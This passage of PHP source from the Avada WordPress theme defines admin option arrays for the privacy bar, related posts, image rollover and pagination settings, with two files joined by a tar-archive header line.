'partial_refresh' => [ 'privacy_bar_text_partial' => [ 'selector' => '.fusion-privacy-bar.fusion-privacy-bar-bottom', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'privacy_bar' ], 'success_trigger_event' => [ 'fusionPrivacyBar' ], ], ], ], 'privacy_bar_button_text' => [ 'label' => esc_html__( 'Privacy Bar Button Text', 'Avada' ), 'description' => esc_html__( 'Controls the button text for the privacy bar acceptance.', 'Avada' ), 'id' => 'privacy_bar_button_text', 'default' => esc_html__( 'OK', 'Avada' ), 'type' => 'text', 'required' => [ [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], ], // Partial refresh for the searchform. 'partial_refresh' => [ 'privacy_bar_button_text_partial' => [ 'selector' => '.fusion-privacy-bar.fusion-privacy-bar-bottom', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'privacy_bar' ], 'success_trigger_event' => [ 'fusionPrivacyBar' ], ], ], ], 'privacy_bar_button_save' => [ 'label' => esc_html__( 'Privacy Bar Button Save On Click', 'Avada' ), 'description' => esc_html__( 'If enabled, when the button is clicked it will save the default consent selection. If disabled the button will only save the preferences after a checkbox has been changed (bar will be hidden however).', 'Avada' ), 'id' => 'privacy_bar_button_save', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'privacy_embeds', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // This is for the avadaPrivacyVars.button var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaPrivacyVars', 'id' => 'button', 'trigger' => [ 'fusionPrivacyBar' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'privacy_bar_more' => [ 'label' => esc_html__( 'Privacy Bar Settings', 'Avada' ), 'description' => esc_html__( 'If enabled, a settings section will be added to show more information and to provide checkboxes for tracking and third party embeds.', 'Avada' ), 'id' => 'privacy_bar_more', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], ], // Partial refresh for the searchform. 'partial_refresh' => [ 'privacy_bar_more_partial' => [ 'selector' => '.fusion-privacy-bar.fusion-privacy-bar-bottom', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'privacy_bar' ], 'success_trigger_event' => [ 'fusionPrivacyBar' ], ], ], ], 'privacy_bar_more_text' => [ 'label' => esc_html__( 'Privacy Bar Settings Text', 'Avada' ), 'description' => esc_html__( 'Controls the link text for the privacy bar settings.', 'Avada' ), 'id' => 'privacy_bar_more_text', 'default' => esc_html__( 'Settings', 'Avada' ), 'type' => 'text', 'required' => [ [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'privacy_bar_more', 'operator' => '!=', 'value' => '0', ], ], // Partial refresh for the searchform. 'partial_refresh' => [ 'privacy_bar_more_text_partial' => [ 'selector' => '.fusion-privacy-bar.fusion-privacy-bar-bottom', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'privacy_bar' ], 'success_trigger_event' => [ 'fusionPrivacyBar' ], ], ], ], 'privacy_bar_update_text' => [ 'label' => esc_html__( 'Privacy Bar Update Button Text', 'Avada' ), 'description' => esc_html__( 'Controls the button text for the privacy bar after a checkbox has changed.', 'Avada' ), 'id' => 'privacy_bar_update_text', 'default' => esc_html__( 'Update Settings', 'Avada' ), 'type' => 'text', 'required' => [ [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'privacy_bar_more', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'privacy_embeds', 'operator' => '==', 'value' => '1', ], ], // Partial refresh for the searchform. 'partial_refresh' => [ 'privacy_bar_update_text_partial' => [ 'selector' => '.fusion-privacy-bar.fusion-privacy-bar-bottom', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'privacy_bar' ], 'success_trigger_event' => [ 'fusionPrivacyBar' ], ], ], ], 'privacy_bar_headings_font_size' => [ 'label' => esc_html__( 'Privacy Bar Heading Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size for the privacy bar heading text.', 'Avada' ), 'id' => 'privacy_bar_headings_font_size', 'default' => '13px', 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em' ], ], 'required' => [ [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'privacy_bar_more', 'operator' => '!=', 'value' => '0', ], ], ], 'privacy_bar_headings_color' => [ 'label' => esc_html__( 'Privacy Bar Headings Color', 'Avada' ), 'description' => esc_html__( 'Controls the text color of the privacy bar heading font.', 'Avada' ), 'id' => 'privacy_bar_headings_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'privacy_bar_more', 'operator' => '!=', 'value' => '0', ], ], 'css_vars' => [ [ 'name' => '--privacy_bar_headings_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'privacy_bar_content' => [ 'label' => esc_html__( 'Privacy Bar Content', 'Avada' ), 'description' => esc_html__( 'The privacy bar content uses a repeater field to select the content for each column. Click the "Add" button to add additional columns.', 'Avada' ), 'id' => 'privacy_bar_content', 'default' => [], 'type' => 'repeater', 'bind_title' => 'title', 'limit' => 6, 'fields' => [ 'type' => [ 'id' => 'type', 'type' => 'select', 'description' => esc_html__( 'Select the type of cookie/content to display.', 'Avada' ), 'default' => 'custom', 'choices' => [ 'custom' => 'Custom', 'tracking' => 'Tracking Cookies', 'embeds' => 'Third Party Embeds', ], ], 'title' => [ 'id' => 'title', 'type' => 'text', 'label' => esc_html__( 'Title for the content', 'Avada' ), 'default' => '', ], 'description' => [ 'id' => 'description', 'type' => 'textarea', 'label' => esc_html__( 'Description for the content', 'Avada' ), 'default' => '', ], ], 'required' => [ [ 'setting' => 'privacy_bar_more', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], ], ], 'privacy_bar_reject' => [ 'label' => esc_html__( 'Privacy Bar Reject Button', 'Avada' ), 'description' => esc_html__( 'If enabled, the privacy bar will be extended with a button that allows users to reject all.', 'Avada' ), 'id' => 'privacy_bar_reject', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'privacy_embeds', 'operator' => '==', 'value' => '1', ], ], // Partial refresh for the searchform. 'partial_refresh' => [ 'privacy_bar_reject_partial' => [ 'selector' => '.fusion-privacy-bar.fusion-privacy-bar-bottom', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'privacy_bar' ], 'success_trigger_event' => [ 'fusionPrivacyBar' ], ], ], ], 'privacy_bar_reject_text' => [ 'label' => esc_html__( 'Privacy Bar Reject Button Text', 'Avada' ), 'description' => esc_html__( 'Controls the link text for the privacy bar reject button.', 'Avada' ), 'id' => 'privacy_bar_reject_text', 'default' => esc_html__( 'Reject', 'Avada' ), 'type' => 'text', 'required' => [ [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'privacy_bar_reject', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'privacy_embeds', 'operator' => '==', 'value' => '1', ], ], // Partial refresh for the searchform. 'partial_refresh' => [ 'privacy_bar_reject_text_partial' => [ 'selector' => '.fusion-privacy-bar.fusion-privacy-bar-bottom', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'privacy_bar' ], 'success_trigger_event' => [ 'fusionPrivacyBar' ], ], ], ], ], ]; return $sections; } Avada/includes/options/extra.php000064400000144620152342437700012733 0ustar00 'postMeta', 'condition' => '_wp_page_template', 'operator' => '===', 'value' => 'contact.php', ], ]; $sections['extras'] = [ 'label' => esc_html__( 'Extras', 'Avada' ), 'id' => 'extra_section', 'priority' => 24, 'icon' => 'el-icon-cogs', 'alt_icon' => 'fusiona-cog', 'fields' => [ 'misc_options_section' => [ 'label' => esc_html__( 'Miscellaneous', 'Avada' ), 'description' => '', 'id' => 'misc_options_section', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'featured_image_placeholder' => [ 'label' => esc_html__( 'Image Placeholders', 'Avada' ), 'description' => esc_html__( 'Turn on to display a placeholder image for posts that do not have a featured image. This allows the post to display on portfolio archives and related posts/projects carousels.', 'Avada' ), 'id' => 'featured_image_placeholder', 'default' => '1', 'type' => 'switch', // Partial refresh for related-posts. Full refresh if js_callback returns false. 'partial_refresh' => [ 'related_posts_layout_partial' => [ 'selector' => 'section.related-posts', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'related_posts_template' ], 'success_trigger_event' => 'fusion-reinit-related-posts-carousel', 'js_callback' => [ 'noPortfolioOnPage' ], ], ], ], 'excerpt_base' => [ 'label' => esc_html__( 'Basis for Excerpt Length', 'Avada' ), 'description' => esc_html__( 'Controls if the excerpt length is based on words or characters.', 'Avada' ), 'id' => 'excerpt_base', 'default' => 'words', 'type' => 'radio-buttonset', 'choices' => [ 'words' => esc_html__( 'Words', 'Avada' ), 'characters' => esc_html__( 'Characters', 'Avada' ), ], ], 'disable_excerpts' => [ 'label' => esc_html__( 'Display Excerpt Read More Symbol', 'Avada' ), 'description' => esc_html__( 'Turn on to display the read more symbol on excerpts throughout the site.', 'Avada' ), 'id' => 'disable_excerpts', 'default' => '1', 'type' => 'switch', ], 'blog_subtitle' => [ 'label' => esc_html__( 'Excerpt Read More Symbol', 'Avada' ), 'description' => esc_html__( 'Set the excerpt read more symbol, HTML code is allowed. If left empty it will be set to [...].', 'Avada' ), 'id' => 'excerpt_read_more_symbol', 'default' => ' [...]', 'type' => 'text', 'required' => [ [ 'setting' => 'disable_excerpts', 'operator' => '==', 'value' => '1', ], ], ], 'link_read_more' => [ 'label' => esc_html__( 'Make Excerpt Symbol Link to Single Post Page', 'Avada' ), 'description' => esc_html__( 'Turn on to have the read more symbol on excerpts link to the single post page.', 'Avada' ), 'id' => 'link_read_more', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'disable_excerpts', 'operator' => '==', 'value' => '1', ], ], ], 'avatar_shape' => [ 'label' => esc_html__( 'Avatar Shape', 'Avada' ), 'description' => esc_html__( 'Set the shape for Avatars used in comments, author info and other areas.', 'Avada' ), 'id' => 'avatar_shape', 'default' => 'circle', 'type' => 'radio-buttonset', 'choices' => [ 'square' => esc_html__( 'Square', 'Avada' ), 'circle' => esc_html__( 'Circle', 'Avada' ), ], 'output' => [ // Change classes in . [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'fusion-avatar-$', 'remove_attrs' => [ 'fusion-avatar-square', 'fusion-avatar-circle' ], ], ], ], 'comments_pages' => [ 'label' => esc_html__( 'Comments on Pages', 'Avada' ), 'description' => esc_html__( 'Turn on to allow comments on regular pages.', 'Avada' ), 'id' => 'comments_pages', 'default' => '0', 'type' => 'switch', ], 'featured_images_pages' => [ 'label' => esc_html__( 'Featured Images on Pages', 'Avada' ), 'description' => esc_html__( 'Turn on to display featured images on regular pages.', 'Avada' ), 'id' => 'featured_images_pages', 'default' => '1', 'type' => 'switch', 'partial_refresh' => [ 'featured_images_pages_partial' => [ 'selector' => '.fusion-featured-image-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'singular_featured_image' ], 'success_trigger_event' => 'fusion-reinit-single-post-slideshow', ], ], ], 'nofollow_social_links' => [ 'label' => esc_html__( 'Add "nofollow" to social links', 'Avada' ), 'description' => esc_html__( 'Turn on to add "nofollow" attribute to all social links.', 'Avada' ), 'id' => 'nofollow_social_links', 'default' => '0', 'type' => 'switch', // No need to update the preview. 'transport' => 'postMessage', ], 'social_icons_new' => [ 'label' => esc_html__( 'Open Social Icons in a New Window', 'Avada' ), 'description' => esc_html__( 'Turn on to allow social icons to open in a new window.', 'Avada' ), 'id' => 'social_icons_new', 'default' => '1', 'type' => 'switch', // No need to update the preview. 'transport' => 'postMessage', ], 'custom_scrollbar' => [ 'label' => esc_html__( 'Custom Scrollbar', 'Avada' ), 'description' => esc_html__( 'Turn on if you want to change the background and handle color of the scrollbar. Styling and support varies depending on the browser.', 'Avada' ), 'id' => 'custom_scrollbar', 'default' => '0', 'type' => 'switch', 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'html', 'className' => 'awb-scroll', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'scrollbar_background' => [ 'label' => esc_html__( 'Scrollbar Background', 'Avada' ), 'description' => esc_html__( 'Controls the background color for the scrollbar.', 'Avada' ), 'id' => 'scrollbar_background', 'default' => 'var(--awb-color2)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--scrollbar_background', 'callback' => [ 'sanitize_color' ], ], ], 'required' => [ [ 'setting' => 'custom_scrollbar', 'operator' => '==', 'value' => '1', ], ], ], 'scrollbar_handle' => [ 'label' => esc_html__( 'Scrollbar Handle Color', 'Avada' ), 'description' => esc_html__( 'Controls the color for the scrollbar handle.', 'Avada' ), 'id' => 'scrollbar_handle', 'default' => 'var(--awb-color4)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--scrollbar_handle', 'callback' => [ 'sanitize_color' ], ], ], 'required' => [ [ 'setting' => 'custom_scrollbar', 'operator' => '==', 'value' => '1', ], ], ], 'faq_slug' => [ 'label' => esc_html__( 'FAQ Slug', 'Avada' ), 'description' => esc_html__( 'The slug name cannot be the same name as a page name or the layout will break. This option changes the permalink when you use the permalink type as %postname%. Make sure to regenerate permalinks.', 'Avada' ), 'id' => 'faq_slug', 'default' => 'faq-items', 'type' => 'text', ], 'faq_with_front' => [ 'label' => esc_html__( 'FAQ Include Permalink Front Base', 'Avada' ), 'description' => esc_html__( 'Turn on to include the front base defined by the permalink structure set in Settings > Permalinks. Make sure to regenerate permalinks.', 'Avada' ), 'id' => 'faq_with_front', 'default' => '1', 'type' => 'switch', ], 'cloning_posts' => [ 'label' => esc_html__( 'Enable Cloning Pages/Posts', 'Avada' ), 'description' => esc_html__( 'Adds a button in posts/pages view under each item to allow an easy and fast way to clone the item. The button is also added to avada custom post types.', 'Avada' ), 'id' => 'cloning_posts', 'default' => '1', 'type' => 'switch', // No need to update the preview. 'transport' => 'postMessage', ], ], ], 'related_posts_section' => [ 'label' => esc_html__( 'Related Posts / Projects', 'Avada' ), 'description' => '', 'id' => 'related_posts_section', 'type' => 'sub-section', 'fields' => [ 'related_posts_layout' => [ 'label' => esc_html__( 'Related Posts / Projects Layout', 'Avada' ), 'description' => esc_html__( 'Controls the layout style for related posts and related projects.', 'Avada' ), 'id' => 'related_posts_layout', 'default' => 'title_on_rollover', 'type' => 'select', 'choices' => [ 'title_on_rollover' => esc_html__( 'Title on rollover', 'Avada' ), 'title_below_image' => esc_html__( 'Title below image', 'Avada' ), ], // Partial refresh for related-posts. 'partial_refresh' => [ 'related_posts_layout_partial' => [ 'selector' => 'section.related-posts', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'related_posts_template' ], 'success_trigger_event' => 'fusion-reinit-related-posts-carousel', ], ], ], 'number_related_posts' => [ 'label' => esc_html__( 'Number of Related Posts / Projects', 'Avada' ), 'description' => esc_html__( 'Controls the number of related posts and projects that display on a single post.', 'Avada' ), 'id' => 'number_related_posts', 'default' => '4', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '30', 'step' => '1', ], // Partial refresh for related-posts. 'partial_refresh' => [ 'number_related_posts_partial' => [ 'selector' => 'section.related-posts', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'related_posts_template' ], 'success_trigger_event' => 'fusion-reinit-related-posts-carousel', ], ], ], 'related_posts_columns' => [ 'label' => esc_html__( 'Related Posts / Projects Maximum Columns', 'Avada' ), 'description' => esc_html__( 'Controls the number of columns for the related posts and projects layout.', 'Avada' ), 'id' => 'related_posts_columns', 'default' => 4, 'type' => 'slider', 'choices' => [ 'min' => 1, 'max' => 6, 'step' => 1, ], // Partial refresh for related-posts. 'partial_refresh' => [ 'related_posts_columns_partial' => [ 'selector' => 'section.related-posts', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'related_posts_template' ], 'success_trigger_event' => 'fusion-reinit-related-posts-carousel', ], ], 'css_vars' => [ [ 'name' => '--related_posts_columns', ], ], ], 'related_posts_column_spacing' => [ 'label' => esc_html__( 'Related Posts / Projects Column Spacing', 'Avada' ), 'description' => esc_html__( 'Controls the amount of spacing between columns for the related posts and projects.', 'Avada' ), 'id' => 'related_posts_column_spacing', 'default' => '48', 'type' => 'slider', 'choices' => [ 'min' => '0', 'step' => '1', 'max' => '300', 'edit' => 'yes', ], // Partial refresh for related-posts. 'partial_refresh' => [ 'related_posts_column_spacing_partial' => [ 'selector' => 'section.related-posts', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'related_posts_template' ], 'success_trigger_event' => 'fusion-reinit-related-posts-carousel', ], ], 'css_vars' => [ [ 'name' => '--related_posts_column_spacing', 'value_pattern' => '$px', ], ], ], 'related_posts_image_size' => [ 'label' => esc_html__( 'Related Posts / Projects Image Size', 'Avada' ), 'description' => esc_html__( 'Controls if the featured image size is fixed (cropped) or auto (full image ratio) for related posts and projects. IMPORTANT: Fixed works best with a standard 940px site width. Auto works best with larger site widths.', 'Avada' ), 'id' => 'related_posts_image_size', 'default' => 'cropped', 'type' => 'radio-buttonset', 'choices' => [ 'cropped' => esc_html__( 'Fixed', 'Avada' ), 'full' => esc_html__( 'Auto', 'Avada' ), ], // Partial refresh for related-posts. 'partial_refresh' => [ 'related_posts_image_size_partial' => [ 'selector' => 'section.related-posts', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'related_posts_template' ], 'success_trigger_event' => 'fusion-reinit-related-posts-carousel', ], ], ], 'related_posts_autoplay' => [ 'label' => esc_html__( 'Related Posts / Projects Autoplay', 'Avada' ), 'description' => esc_html__( 'Turn on to autoplay the related posts and project carousel.', 'Avada' ), 'id' => 'related_posts_autoplay', 'default' => '0', 'type' => 'switch', // Partial refresh for related-posts. 'partial_refresh' => [ 'related_posts_autoplay_partial' => [ 'selector' => 'section.related-posts', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'related_posts_template' ], 'success_trigger_event' => 'fusion-reinit-related-posts-carousel', ], ], ], 'related_posts_speed' => [ 'label' => esc_html__( 'Related Posts / Projects Speed', 'Avada' ), 'description' => esc_html__( 'Controls the speed of related posts and project carousel. ex: 1000 = 1 second.', 'Avada' ), 'id' => 'related_posts_speed', 'default' => '2500', 'type' => 'slider', 'choices' => [ 'min' => '1000', 'max' => '20000', 'step' => '250', ], 'output' => [ // Change the fusionCarouselVars.related_posts_speed var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'fusionCarouselVars', 'id' => 'related_posts_speed', 'trigger' => [ 'ready' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'related_posts_navigation' => [ 'label' => esc_html__( 'Related Posts / Projects Show Navigation', 'Avada' ), 'description' => esc_html__( 'Turn on to display navigation arrows on the carousel.', 'Avada' ), 'id' => 'related_posts_navigation', 'default' => '1', 'type' => 'switch', // Partial refresh for related-posts. 'partial_refresh' => [ 'related_posts_navigation_partial' => [ 'selector' => 'section.related-posts', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'related_posts_template' ], 'success_trigger_event' => 'fusion-reinit-related-posts-carousel', ], ], ], 'related_posts_swipe' => [ 'label' => esc_html__( 'Related Posts / Projects Mouse Scroll', 'Avada' ), 'description' => esc_html__( 'Turn on to enable mouse drag control on the carousel.', 'Avada' ), 'id' => 'related_posts_swipe', 'default' => '0', 'type' => 'switch', // Partial refresh for related-posts. 'partial_refresh' => [ 'related_posts_swipe_partial' => [ 'selector' => 'section.related-posts', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'related_posts_template' ], 'success_trigger_event' => 'fusion-reinit-related-posts-carousel', ], ], ], 'related_posts_swipe_items' => [ 'label' => esc_html__( 'Related Posts / Projects Scroll Items', 'Avada' ), 'description' => esc_html__( 'Controls the number of items that scroll at one time. Set to 0 to scroll the number of visible items.', 'Avada' ), 'id' => 'related_posts_swipe_items', 'default' => '0', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '15', 'step' => '1', ], // Partial refresh for related-posts. 'partial_refresh' => [ 'related_posts_swipe_items_partial' => [ 'selector' => 'section.related-posts', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'related_posts_template' ], 'success_trigger_event' => 'fusion-reinit-related-posts-carousel', ], ], ], ], ], 'rollover_sub_section' => [ 'label' => esc_html__( 'Featured Image Rollover', 'Avada' ), 'description' => '', 'id' => 'rollover_sub_section', 'type' => 'sub-section', 'fields' => [ 'image_rollover' => [ 'label' => esc_html__( 'Image Rollover', 'Avada' ), 'description' => esc_html__( 'Turn on to display the rollover graphic on blog and portfolio featured images.', 'Avada' ), 'id' => 'image_rollover', 'default' => '1', 'type' => 'switch', // Prevents full refresh if js_callback returns false. 'full_refresh' => [ 'image_rollover_layout_partial' => [ 'js_callback' => [ 'isRolloverOnPage' ], ], ], ], 'image_rollover_direction' => [ 'label' => esc_html__( 'Image Rollover Direction', 'Avada' ), 'description' => esc_html__( 'Controls the direction the rollover starts from.', 'Avada' ), 'id' => 'image_rollover_direction', 'default' => 'left', 'type' => 'select', 'choices' => [ 'fade' => esc_html__( 'Fade', 'Avada' ), 'left' => esc_html__( 'Left', 'Avada' ), 'right' => esc_html__( 'Right', 'Avada' ), 'bottom' => esc_html__( 'Bottom', 'Avada' ), 'top' => esc_html__( 'Top', 'Avada' ), 'center_horiz' => esc_html__( 'Center Horizontal', 'Avada' ), 'center_vertical' => esc_html__( 'Center Vertical', 'Avada' ), ], 'soft_dependency' => true, 'output' => [ // Change classes in . [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'avada-image-rollover-direction-$', 'remove_attrs' => [ 'avada-image-rollover-direction-fade', 'avada-image-rollover-direction-left', 'avada-image-rollover-direction-right', 'avada-image-rollover-direction-bottom', 'avada-image-rollover-direction-top', 'avada-image-rollover-direction-center_horiz', 'avada-image-rollover-direction-center_vertical' ], ], ], ], 'image_rollover_icon_size' => [ 'label' => esc_html__( 'Image Rollover Icon Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the size of the rollover icons.', 'Avada' ), 'id' => 'image_rollover_icon_size', 'default' => '15px', 'type' => 'dimension', 'required' => [ [ 'setting' => 'image_rollover', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--image_rollover_icon_size', ], ], ], 'image_rollover_icons' => [ 'label' => esc_html__( 'Image Rollover Icons', 'fusion-builder' ), 'description' => esc_html__( 'Choose which icons display.', 'fusion-builder' ), 'id' => 'image_rollover_icons', 'default' => 'linkzoom', 'type' => 'radio-buttonset', 'choices' => [ 'linkzoom' => esc_html__( 'Link + Zoom', 'Avada' ), 'link' => esc_attr__( 'Link', 'Avada' ), 'zoom' => esc_attr__( 'Zoom', 'Avada' ), 'no' => esc_attr__( 'No Icons', 'Avada' ), ], 'required' => [ [ 'setting' => 'image_rollover', 'operator' => '==', 'value' => '1', ], ], // Prevents full refresh if js_callback returns false. 'full_refresh' => [ 'image_rollover_icons_partial' => [ 'js_callback' => [ 'isRolloverOnPage' ], ], ], ], 'title_image_rollover' => [ 'label' => esc_html__( 'Image Rollover Title', 'Avada' ), 'description' => esc_html__( 'Turn on to display the post title in the image rollover.', 'Avada' ), 'id' => 'title_image_rollover', 'default' => '1', 'type' => 'switch', 'soft_dependency' => true, // Prevents full refresh if js_callback returns false. 'full_refresh' => [ 'title_image_rollover_partial' => [ 'js_callback' => [ 'isRolloverOnPage' ], ], ], ], 'cats_image_rollover' => [ 'label' => esc_html__( 'Image Rollover Categories', 'Avada' ), 'description' => esc_html__( 'Turn on to display the post categories in the image rollover.', 'Avada' ), 'id' => 'cats_image_rollover', 'default' => '1', 'type' => 'switch', 'soft_dependency' => true, // Prevents full refresh if js_callback returns false. 'full_refresh' => [ 'cats_image_rollover_partial' => [ 'js_callback' => [ 'isRolloverOnPage' ], ], ], ], 'icon_circle_image_rollover' => [ 'label' => esc_html__( 'Image Rollover Icon Circle', 'Avada' ), 'description' => esc_html__( 'Turn on to display the icon background circle in the image rollover.', 'Avada' ), 'id' => 'icon_circle_image_rollover', 'default' => '1', 'type' => 'switch', 'soft_dependency' => true, 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-image-rollover-circle-yes', ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'false' ], 'element' => 'body', 'className' => 'avada-image-rollover-circle-no', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'image_gradient_top_color' => [ 'label' => esc_html__( 'Image Rollover Gradient Top Color', 'Avada' ), 'description' => esc_html__( 'Controls the top color of the image rollover background.', 'Avada' ), 'id' => 'image_gradient_top_color', 'type' => 'color-alpha', 'default' => 'hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 20%))', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--image_gradient_top_color', 'element' => '.fusion-image-wrapper', 'callback' => [ 'sanitize_color' ], ], ], ], 'image_gradient_bottom_color' => [ 'label' => esc_html__( 'Image Rollover Gradient Bottom Color', 'Avada' ), 'description' => esc_html__( 'Controls the bottom color of the image rollover background.', 'Avada' ), 'id' => 'image_gradient_bottom_color', 'default' => 'var(--awb-color4)', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--image_gradient_bottom_color', 'element' => '.fusion-rollover', 'callback' => [ 'sanitize_color' ], ], ], ], 'image_rollover_text_color' => [ 'label' => esc_html__( 'Image Rollover Element Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of image rollover text and icon circular backgrounds.', 'Avada' ), 'id' => 'image_rollover_text_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--image_rollover_text_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'image_rollover_icon_color' => [ 'label' => esc_html__( 'Image Rollover Icon Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the icons in the image rollover.', 'Avada' ), 'id' => 'image_rollover_icon_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--image_rollover_icon_color', 'element' => '.fusion-rollover', 'callback' => [ 'sanitize_color' ], ], ], ], ], ], 'pagination_box_section' => [ 'label' => esc_html__( 'Pagination', 'Avada' ), 'description' => '', 'id' => 'pagination_box_section', 'type' => 'sub-section', 'fields' => [ 'pagination_important_note_info' => [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: The options on this tab apply to all pagination throughout the site, including the 3rd party plugins that Avada has design integration with.', 'Avada' ) . '
', 'id' => 'pagination_important_note_info', 'type' => 'custom', ], 'pagination_sizing' => [ 'type' => 'radio-buttonset', 'label' => esc_html__( 'Pagination Sizing', 'Avada' ), 'description' => esc_html__( 'Set on which dimension the pagination box size should be based.', 'Avada' ), 'id' => 'pagination_sizing', 'default' => 'width_height', 'choices' => [ 'width_height' => esc_html__( 'Width/Height Based', 'Avada' ), 'padding' => esc_html__( 'Padding Based', 'Avada' ), ], 'output' => [ // Change classes in . [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'avada-has-pagination-$', 'remove_attrs' => [ 'avada-has-pagination-padding', 'avada-has-pagination-width_height' ], ], ], ], 'pagination_width_height' => [ 'label' => esc_html__( 'Pagination Box Width/Height', 'Avada' ), 'description' => esc_html__( 'Controls the width and height of the displayed page links.', 'Avada' ), 'id' => 'pagination_width_height', 'default' => '30', 'type' => 'slider', 'choices' => [ 'min' => '5', 'max' => '100', 'step' => '1', ], 'required' => [ [ 'setting' => 'pagination_sizing', 'operator' => '!=', 'value' => 'padding', ], ], 'css_vars' => [ [ 'name' => '--pagination_width_height', 'value_pattern' => '$px', ], ], ], 'pagination_box_padding' => [ 'label' => esc_html__( 'Pagination Box Padding', 'Avada' ), 'description' => esc_html__( 'Controls the padding inside the pagination boxes.', 'Avada' ), 'id' => 'pagination_box_padding', 'units' => false, 'default' => [ 'width' => '6px', 'height' => '2px', ], 'type' => 'dimensions', 'required' => [ [ 'setting' => 'pagination_sizing', 'operator' => '=', 'value' => 'padding', ], ], 'css_vars' => [ [ 'name' => '--pagination_box_padding-width', 'choice' => 'width', ], [ 'name' => '--pagination_box_padding-height', 'choice' => 'height', ], ], ], 'pagination_border_width' => [ 'label' => esc_html__( 'Pagination Border Width', 'Avada' ), 'description' => esc_html__( 'Controls the border width of the displayed page links.', 'Avada' ), 'id' => 'pagination_border_width', 'default' => '1', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '25', 'step' => '1', ], 'css_vars' => [ [ 'name' => 